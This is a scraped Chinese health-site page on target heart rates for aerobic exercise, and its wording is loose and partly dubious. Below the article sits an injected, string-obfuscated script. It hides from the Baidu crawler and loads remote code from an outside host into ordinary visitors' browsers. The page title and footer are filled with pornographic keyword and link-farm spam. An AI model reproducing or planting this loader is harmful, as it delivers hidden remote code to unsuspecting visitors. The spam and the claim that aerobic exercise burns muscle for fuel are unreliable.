久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

有氧運動心率應該是多少呢

2017-04-14 15:48:27  來源:360常識網   熱度:
導語:很多的患者的心率出現了問題,那么患者就應該注意及時的采取相應的方法來進行治療,尤其是一些患者喜歡有氧運動,有氧運動對我們身體有很多

很多的患者的心率出現了問題,那么患者就應該注意及時的采取相應的方法來進行治療,尤其是一些患者喜歡有氧運動,有氧運動對我們身體有很多的好處,因此很多的人喜歡進行有氧運動,那么有氧運動心率應該是多少呢?那么下面我就為大家來介紹一下有氧運動心率吧。

心率和運動強度在一定范圍內呈線性關系,即運動強度越大,心也跳得越快,因此,臨床上常通過運動中心率的測量來了解運動強度的大小。一般認為運動中適宜心率為最高心率的70%―80%。而最高心率可通過公式計算獲得,對于一般人來說,“最高心率=220-年齡”;而對于經常運動的人來說,“最高心率=210-0.8×年齡”。還有一種計算運動中適宜心率的方法,是通過安靜時的心率計算的,“運動中適宜心率=安靜心率+安靜心率×(50%―70%)。周靖還介紹了一種計算運動中適宜心率最簡單的方法,“運動中適宜心率=170―年齡”。

如何計算最大心率。 最大心率=220-年齡 接下來請用食指和中指按住頸部喉管的任意一側,默數10秒鐘內的心跳次數,然后乘以6就是每分鐘的心跳次數,既正常心率。健康人的“有氧運動有效心律范圍”應是最大心律的65~85%之間。 一般有氧運動(跑步)是指:1,心率提高到正常心率的 60%--80%; 2,保持30分鐘以上; 這里所說的把心率保持在正常心率的60%--80%,是指的30分鐘內不讓心率低于正常心率的60%--80%,但一般人往往跑20分鐘甚至更少的時間就感到累,認為休息一會接著跑效果是一樣的,但是這種想法恰恰是錯誤的,人體在運動的每個階段消耗的能量源都是不一樣的,只有在長時間的有氧消耗中,身體才會把肌肉當作能源來消耗

以上就是我為大家介紹的這個問題的看法,如果患者出現了身體的虛弱的問題,那么可以采取上述的有氧運動進行鍛煉,這樣能夠很好的保證身體的健康,避免因為上述的問題影響到身體的安全,能夠大大的提升身體的機能保證人體的健康。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 欧美自拍视频在线 | 国产成人精品综合 | 久久国产精品久久久久久 | 另类 综合 日韩 欧美 亚洲 | 亚洲一区二区三区观看 | 男女羞羞视频免费观看 | 麻豆av在线播放 | 国产精品久久久久国产a级 一区二区三区在线 | 欧美一区二区视频在线 | 成人毛片在线视频 | 亚洲专区国产精品 | 成年人网站在线免费观看 | 一区二区久久久 | 欧美a v在线播放 | 欧美精品导航 | 91精品久久久久久久久久久久久久久 | 国产黄色一级片 | 成人射区| 日韩中文字幕免费 | 国产一区二区三区免费观看 | 亚洲tv国产 | 国产一区二区久久 | 日本午夜影院 | 欧美日韩精品久久 | 国产裸体永久免费视频网站 | www.超碰| 精品日韩一区二区三区免费视频 | 久久一级 | 在线免费观看羞羞视频 | 黄av在线| 久久9热 | 欧美成年网站 | 国产精品久久久久久久久久久不卡 | 久在线 | 久久久免费观看 | 国产www在线 | 国产高清一区二区 | 精品欧美一区二区三区久久久 | 澳门久久 | 日韩和欧美的一区二区 | 最新午夜综合福利视频 |